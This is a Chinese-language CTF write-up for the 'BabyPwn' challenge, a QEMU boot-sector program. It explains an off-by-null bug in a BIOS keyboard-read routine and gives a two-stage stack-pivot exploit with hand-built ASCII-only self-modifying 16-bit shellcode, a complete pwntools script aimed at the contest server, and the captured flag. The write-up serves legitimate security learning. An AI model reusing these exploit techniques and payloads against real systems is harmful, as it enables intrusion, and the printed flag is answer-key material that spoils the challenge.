CTF 安全

广东省第四届“强网杯”网络安全大赛 BabyPwn 题解

题目信息

题目附件

PWN引导程序 nc 121.37.143.62 49154

漏洞分析

给了一个 qemu 虚拟机。启动脚本 launch.sh 如下。

timeout -s SIGKILL 120s ./qemu-system-i386 -hda ./disk -fdb ./flag -snapshot -nographic -monitor /dev/null

120秒超时,自动杀死进程。

hda 挂载了一个 disk 磁盘文件。

fdb 挂载了一个 flag 软盘文件。

disk 拖进去 IDA 32位 里面进行分析,使用 16位 解码查看。

查看文件开头部分,即磁盘的主引导扇区。

其中的代码调用了BIOS中断,详见BIOS中断向量表

首先置 ah0,调用 0x13号 中断,复位磁盘驱动器。

seg000:0012 mov bp, sp
seg000:0014 mov ah, 0   ; ah=0 复位磁盘驱动器
seg000:0016 int 13h

然后置 ah2,调用 0x13号 中断,读取磁盘扇区写入至内存的 0x1000 区域。

seg000:0002 push 1000h
seg000:0005 push 80h
seg000:0008 push 2
seg000:000A call sub_11

seg000:0018 mov cx, [bp+arg_0]  ; cl=2 起始扇区号2
seg000:001B mov ch, 0           ; ch=0 磁道号0
seg000:001D mov dx, 0
seg000:0020 mov ah, 2           ; ah=2 读扇区
seg000:0022 mov al, 3           ; al=3 读取3个扇区
seg000:0024 mov dx, [bp+arg_2]  ; dl=80h 磁盘A(hda)
seg000:0027 mov dh, 0           ; dh=0 磁盘0面
seg000:0029 mov bx, [bp+arg_4]  ; bx=1000h 写入至内存的es:bx区域
seg000:002C int 13h

即将 disk 文件的 200h:600h 区域写入至内存的 1000h:1400h 区域。

然后看 0x200 处的代码。这里对寄存器进行了初始化,然后调用了函数 0x563

继续看一下函数 0x563

这里我将函数 0x4C8 命名为 write,该函数通过调用 0x10号 中断,实现了打印字符串的功能,打印直至遇到 \x00 结束。

此处还调用了函数 0x526

这里我将函数 0x4F5 命名为 read,重点看一下该函数。

函数 0x4F5 调用了 0x16号 中断,连续读取用户键盘输入字符,读取直至满足以下任一条件结束。

读取超过指定长度
遇到 \x00
遇到 \x0A
遇到 \x0D

最终实现了读取用户输入内容(最大输入长度为 0x100)保存至栈上的功能。

但是该函数存在 off-by-null 漏洞点,位于 051E 处。

那么我们可以通过写入长度为 0x100 的内容,触发该漏洞,即可在 0x561 处将 bp 修改为 0xEF00,刚好落在栈上用户输入的第9个字节处。接下来在 0x57B 处控制 sp0xEF00,那么在 0x57E 处就能控制执行流了。

以为这道题就是一个比较常见的 Pwn考点。构造好了 payload,却发现打不通。只能上 GDB 动态调试了。

果然找到问题了。

read 函数里的 0x16号 中断,读取键盘输入字符,只支持 ascii。实测发现,遇到非 ascii 字符 BIOS 内部会直接忽略。

众所周知,pwntools 自带 ascii 编码器,可是看了最新源码后发现它目前并不支持 16位

那么看来只能手动构造 payload 了,除非您手头上有一个支持 16位ascii 编码器。

控制执行流

但这里还有一个问题,由于只支持 ascii 输入,而我们的输入内容会放在栈上 0xEEF8 处,0xEE 不在 ascii 里,无法直接控制执行流至我们写在栈上的 payload

这里又是一个传统的 Pwn考点,我们需要控制执行流回到现有代码上,将二次 payload 布置在“地址为 ascci ”的区域里,然后控制执行流至二次 payload 上。

那么我们可以控制执行流至 0x540 处,然后随便挑一个没有被使用的“地址为 ascci ”的区域,例如 0x1620。将二次 payload 布置在上面。随后在 0x562 处再次控制执行流至二次 payload 处。

一次 payload 构造如下:

# 0xEEF8
payload = "a" * 8         # offset
payload += p16(0x1620)    # seg000:057D pop bp (一次bp地址,二次sp地址)
payload += p16(0x1340)    # seg000:057E retn (一次控制执行流地址)
payload += p16(0x1620)    # seg000:04FC mov di, [bp+arg_0] (二次payload写位置)
payload += p16(0x1620)    # seg000:04F9 mov si, [bp+arg_2] (二次payload最大长度,指定一个较大值即可)
payload = payload.ljust(256, "a")    # 补全0x100字节,触发off-by-null漏洞
io.send(payload)

构造二次载荷

此时我们已经顺利将 sp 控制至 0x1620 处,现在需要进行刚刚提到的,在 0x562 处再次控制执行流至二次 payload 处。

二次 payload 的开头部分构造如下:

# 0x1620
payload = p16(0x3030)     # seg000:0561 pop bp (二次bp地址,随意)
payload += p16(0x1640)    # seg000:0562 retn (二次控制执行流地址)

当二次控制执行流至 0x1640 处,此时 sp=0x1624 bp=0x3030

进行到这里,我们需要构造 payload,来实现读取软盘 flag 文件并打印出来。

0000  mov bl, 0x00    ; \xb3\x00
0002  mov bh, 0x10    ; \xb7\x10  bx=1000h 写入至内存的es:bx区域
0004  mov al, 1       ; \xb0\x01  al=1 读取1个扇区
0006  mov ch, 0       ; \xb5\x00  ch=0 磁道号0
0008  mov cl, 1       ; \xb1\x01  cl=1 起始扇区号1
000A  mov dl, 1       ; \xb2\x01  dl=1 软盘B(fdb)
000C  mov dh, 0       ; \xb6\x00  dh=0 软盘0面
000E  mov ah, 2       ; \xb4\x02  ah=2 读扇区
0010  int 0x13        ; \xcd\x13

0012  mov al, 0x75    ; \xb0\x75
0014  mov ah, 0x13    ; \xb4\x13
0016  push 0x1000     ; \x68\x00\x10
0019  jmp ax          ; \xff\xe0  ax=0x1375 跳到0x1375处,打印0x1000处的内容

但是上面的 payload 中含有非 ascii 字符,我们需要构造一个只含 ascii 字符的 payload

接下来,手上挑起两把武器。

在线汇编器

可打印字符字节码表

慢慢耐心构造出我们需要的 ascii payload

ip=0x1640  sp=0x1624  bp=0x3030

1624  \x03\x01
1626  \x03\x01
1628  \x01\x10
162A  \x5d\x16
162C  \x75\x16
162E  \x75\x13
1630  \x01\x10

1640  pop ax            ; \x58
1641  xor ax, 0x0102    ; \x35\x02\x01
1644  push ax           ; \x50
1645  pop dx            ; \x5a
1646  pop ax            ; \x58
1647  xor ax, 0x0102    ; \x35\x02\x01
164A  push ax           ; \x50
164B  pop cx            ; \x59
164C  pop bx            ; \x5b
164D  dec bx            ; \x4b
164E  pop sp            ; \x5c
164F  pop ax            ; \x58
1650  inc ax            ; \x40
1651  xor ax, 0x074d    ; \x35\x4d\x07
1654  push ax           ; \x50
1655  inc sp            ; \x44
1656  inc sp            ; \x44
1657  pop ax            ; \x58
1658  xor ax, 0x142d    ; \x35\x2d\x14
165B  dec sp            ; \x4c
165C  dec sp            ; \x4c
165D  int 0x13          ; \x7f\x14 => \xcd\x13 (自修改代码)
165F  sub al, 0x16      ; \x2c\x16
1661  pop sp            ; \x5c
1662  pop sp            ; \x5c
1663  pop ax            ; \x58
1664  dec ax            ; \x48
1665  dec ax            ; \x48
1666  push ax           ; \x50
1667  inc sp            ; \x44
1668  pop ax            ; \x58
1669  dec ax            ; \x48
166A  dec ax            ; \x48
166B  xor ax, 0x2f1f    ; \x35\x1f\x2f
166E  push ax           ; \x50
166F  inc sp            ; \x44
1670  pop sp            ; \x5c
1671  pop ax            ; \x58
1672  pop bx            ; \x5b
1673  dec bx            ; \x4b
1674  push bx           ; \x53
1675  jmp ax            ; \x01\x02\x02\x16 => \xff\xe0\x2e\x16 (自修改代码)

解题脚本

from pwn import *
import time

#io = remote('127.0.0.1', 49154)
io = remote('121.37.143.62', 49154)

time.sleep(1)

payload = "aaaaaaaa \x16@\x13 \x16 \x16"
payload = payload.ljust(256, "a")
io.send(payload)

payload = "00@\x16\x03\x01\x03\x01\x01\x10]\x16u\x16u\x13\x01\x10aaaaaaaaaaaaaaX5\x02\x01PZX5\x02\x01PY[K\\X@5M\x07PDDX5-\x14LL\x7f\x14,\x16\\\\XHHPDXHH5\x1f/PD\\X[KS\x01\x02\x02\x16"
io.sendline(payload)

io.interactive()
io.close()

Get Flag

flag{15a17fa8e61b867153814e56e9aa9fd0}

结语

分值300的题目,做出了分值500的难度。

题目并不难,思路比较清晰,难点在于需要耐心构造攻击载荷。

就像这几道Pwn题

太久没做Pwn题了,堆也差不多忘记了,更不用说 libc 2.31 了(拉闸


标签: CTF 安全

Comments